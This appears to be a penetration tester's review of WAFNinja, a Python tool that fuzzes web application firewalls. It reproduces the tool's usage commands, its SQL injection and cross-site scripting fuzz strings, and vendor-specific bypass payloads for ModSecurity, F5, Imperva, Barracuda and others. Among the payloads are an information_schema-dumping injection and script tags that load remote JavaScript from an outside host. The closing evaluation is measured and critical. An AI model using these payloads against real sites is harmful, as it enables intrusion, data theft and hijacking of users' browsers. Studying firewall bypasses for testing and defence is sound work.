WAFNinja was presented by Khalil Bijjou at OWASP Stammtisch Frankfurt 2015 and PHDays 2016.
This tool is cli python script which allows to fuzz parameters in order to detect which SQL-injection or Cross-Site Scripting patterns are blocked by WAF and which are not. Besides that it has number of payloads that may bypass WAF.
Deployment
You have to install python with its dependencies: prettytable
and progressbar
The following network scheme is used in testing
Tests
The tool has different working modes:
fuzz
tries to find keywords and symbols that are not blocked by WAFbypass
sends payloads from database to target
Also withinsert-fuzz
andinsert-bypass
you can edit fuzzing string or add payloads to bypass list.
Example usage
fuzz:
python wafninja.py fuzz -u "http://www.target.com/index.php?id=FUZZ"
-c "phpsessid=value" -t xss -o output.html
bypass:
python wafninja.py bypass -u "http://www.target.com/index.php"
-p "Name=PAYLOAD&Submit=Submit"
-c "phpsessid=value" -t xss -o output.html
insert-fuzz:
python wafninja.py insert-fuzz -i select -e select -t sql
positional arguments:
{fuzz,bypass,insert-fuzz,insert-bypass,set-db}
Which function do you want to use?
fuzz check which symbols and keywords are allowed by the WAF.
bypass sends payloads from the database to the target.
insert-fuzz add a fuzzing string
insert-bypass add a payload to the bypass list
set-db use another database file. Useful to share the same database with others.
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
Fuzz parameters
WAFNinja uses different functions and string patterns for parameter fuzzing. There is a list below related to attack types.
SQL Injection
Strings
123<234
, 9928!=1239
, abc'
, abc"
, or
, and
, ''
, 'abc'
, abc' --
, =
, >=
, <=
, ORDER/**/BY
, ||
, &&
, #
, /*
, uNioN
, uN/**/ioN
, seLeCt
, seL/**/eCt
, union/**/select
, uNion(sElect)
, union/**/all/**/select
, uNion all(sElect)
, 0x633A5C626F6F742E696E69
, %55nion(%53elect 1,2,3)
, uni%0bon+se%0blect
, /*--*/union/*--*/select/*--*/
, uniOn distiNct sElect
, <!--
Functions
information_schema.tables
, between
, like
, order
, by
, having
, union
, select
, union select
, union all select
, insert
, values
, update
, delete
, waitfor()
, waitfor
, sleep(2)
, WAITFOR DELAY
, benchmark()
, information_schema
, table_name
, column_name
, if
, else
, IF() select
, case()
, limit
, char()
, cast()
, convert()
, isnull()
, substring()
, concat()
, hex()
, unhex()
, avg()
, count()
, max()
, min()
, sum()
, JOIN
, @@version
, user
, drop
, load_file()
, extractvalue()
, REVERSE(noinu) REVERSE(tceles)
, union distinct select
, information_schema.columns
, user()
, system_user()
, information_schema.schemata
, table_schema
, offset
, distinct
, @@hostname
, @@datadir
, version()
, exec()
Cross-Site Scripting
Strings
fuzz
, <script
, <script></script>
, <script>
, <
, <>
, >
, (
, )
, ()
, 'test'
, <img src=x>test</img>
, <img dynsrc></img>
, <img lowsrc></img>
, <bgsound src=>
, <iframe src=""></iframe>
, <BR SIZE="&{alert(1)}">
, <STYLE></STYLE>
, <LINK REL="stylesheet" HREF="">
, "jav ascript:alert(1);"
,  javascript:alert(1)
, <TABLE BACKGROUND="">
, <TABLE><TD BACKGROUND="">
, <DIV STYLE="background-image: url()">
, java
, 1)>
, String.fromCharCode(88,83,83)
, http://
Functions
alert(1)
, console.log(1)
, prompt(1)
, FSCommand
, onAbort
, onActivate
, onAfterPrint
, onAfterUpdate
, onBeforeActivate
, onBeforeCopy
, onBeforeCut
, onBeforeDeactivate
, onBeforeEditFocus
, onBeforePaste
, onBeforePrint
, onBeforeUnload
, onBeforeUpdate
, onBegin
, onBlur
, onBounce
, onCellChange
, onChange
, onClick
, onContextMenu
, onControlSelect
, onCopy
, onCut
, onDataAvailable
, onDataSetChanged
, onDataSetComplete
, onDblClick
, onDeactivate
, onDrag
, onDragEnd
, onDragLeave
, onDragEnter
, onDragOver
, onDragDrop
, onDragStart
, onDrop
, onEnded
, onError
, onErrorUpdate
, onFilterChange
, onFinish
, onFocus
, onFocusIn
, onFocusOut
, onHashChange
, onHelp
, onInput
, onKeyDown
, onKeyPress
, onKeyUp
, onLayoutComplete
, onLoad
, onLoseCapture
, onMediaComplete
, onMediaError
, onMessage
, onMouseDown
, onMouseEnter
, onMouseLeave
, onMouseMove
, onMouseOut
, onMouseOver
, onMouseUp
, onMouseWheel
, onMove
, onMoveEnd
, onMoveStart
, onOffline
, onOnline
, onOutOfSync
, onPaste
, onPause
, onPopState
, onProgress
, onPropertyChange
, onReadyStateChange
, onRedo
, onRepeat
, onReset
, onResize
, onResizeEnd
, onResizeStart
, onResume
, onReverse
, onRowsEnter
, onRowExit
, onRowDelete
, onRowInserted
, onScroll
, onSeek
, onSelect
, onSelectionChange
, onSelectStart
, onStart
, onStop
, onStorage
, onSyncRestored
, onSubmit
, onTimeError
, onTrackChange
, onUndo
, onUnload
, onURLFlip
, onWheel
, offline
, onbeforeonload
, onbeforeprint
, oncanplay
, oncanplaythrough
, ondurationchange
, onemptied
, onformchange
, oninvalid
, onloadeddata
, onloadedmetadata
, onloadstart
, onpagehide
, onpageshow
, onplay
, onplaying
, onratechange
, onseeked
, onseeking
, onsuspend
, onwaiting
, onwheel
Payloads
The tool contains number of payloads that should bypass waf. Some of them are specific for particular products like ModSecurity, F5 BigIP, Barracuda etc.
SQL Injection
Generic
a'or 2=2--
/*!00000concat*/(0x63726561746f723a2064705f6d6d78,0x3c62723e3c666f6e7420636f6c6f723d677265656e2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))
ModSecurity
0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
1 AND (select DCount(last(username)&after=1&after=1) from users where username=ad1min)
1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')
Cross-Site Scripting
Generic
<script>alert(1)</script>
<scRipt>alErt(1)</scrIpt>
<img src=x onerror=alert(1)>
<script type=vbscript>MsgBox(0)</script>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=JaVaScRiPt:alert("XSS")>
<BODY ONLOAD=alert("XSS")>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=" javascript:alert("XSS");">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert("XSS")">
<IMG DYNSRC="javascript:alert("XSS")">
<INPUT TYPE="image" DYNSRC="javascript:alert("XSS");">
<BGSOUND SRC="javascript:alert("XSS");">
<br size="&{alert("XSS")}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascript:alert("XSS");">
<IMG SRC="vbscript:msgbox("XSS")">
<IMG SRC="mocha:[code]">
<IMG SRC="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert("XSS");">
<IFRAME SRC=javascript:alert("XSS")></IFRAME>
<FRAMESET><FRAME SRC=javascript:alert("XSS")></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert("XSS")">
<DIV STYLE="background-image: url(javascript:alert("XSS"))">
<DIV STYLE="behaviour: url("http://xss.ha.ckers.org/exploit.htc");">
<DIV STYLE="width: expression(alert("XSS"));">
<STYLE>@im\port"\ja\vasc\ript:alert("XSS")";</STYLE>
<IMG STYLE="xss: expre\ssion(alert("XSS"))">
<STYLE TYPE="text/javascript">alert("XSS");</STYLE>
<XML SRC="javascript:alert("XSS");">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert("XSS");}</SCRIPT><"
<SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC="javascript:alert("XSS")"
<SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" "" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT "a=">"" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A HREF=http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D>link</A>
<A HREF=ht://www.google.com/>link</A>
<A HREF=http://google.com/>link</A>
<A HREF=http://www.google.com./>link</A>
<A HREF="javascript:document.location="http://www.google.com/"">link</A>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
<BASE HREF="javascript:alert("XSS");//">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=# onmouseover="alert("xxs")">
<IMG SRC= onmouseover="alert("xxs")">
<IMG onmouseover="alert("xxs")">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<img src=x onerror="javascript:alert('XSS')">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert("XSS");">
<IMG SRC="jav	ascript:alert("XSS");">
<IMG SRC="jav
ascript:alert("XSS");">
<IMG SRC="jav
ascript:alert("XSS");">
<IMG SRC="  javascript:alert("XSS");">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
`=alert("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert("XSS")"
<iframe src=http://ha.ckers.org/scriptlet.html <
\";alert("XSS");//
</script><script>alert("XSS");</script>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
Barracuda
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
DotDefender
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
F5 ASM
<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>
F5 BigIP
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
Imperva
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
ModSecurity
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>
<object%00something allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
WebKnight
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
QuickDefense
?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>
Resume
WAFNinja focuses on penetration testers that tries to figure out which attack patterns are blocked/not blocked and helps to form valid exploit to bypass WAF. In real world it will work only with firewalls based on regular expressions. E.g. if WAF doesn't block "
, onMouseOver
and alert(1)
, it doesn't means that attack " onMouseOver="alert(1)"
won't be blocked either. Same thing is related to libinjection, when particular tokens like '
, or
and 1=1
are legit, its combination ' or 1=1
will be considered as attack. Also in my case payloads of bypass mode were not sent to target, so requests were always considered as legit (probably bug).
This tool could be used to get additional knowledge regarding WAF, but it hardly comes in handy during different firewalls comparison.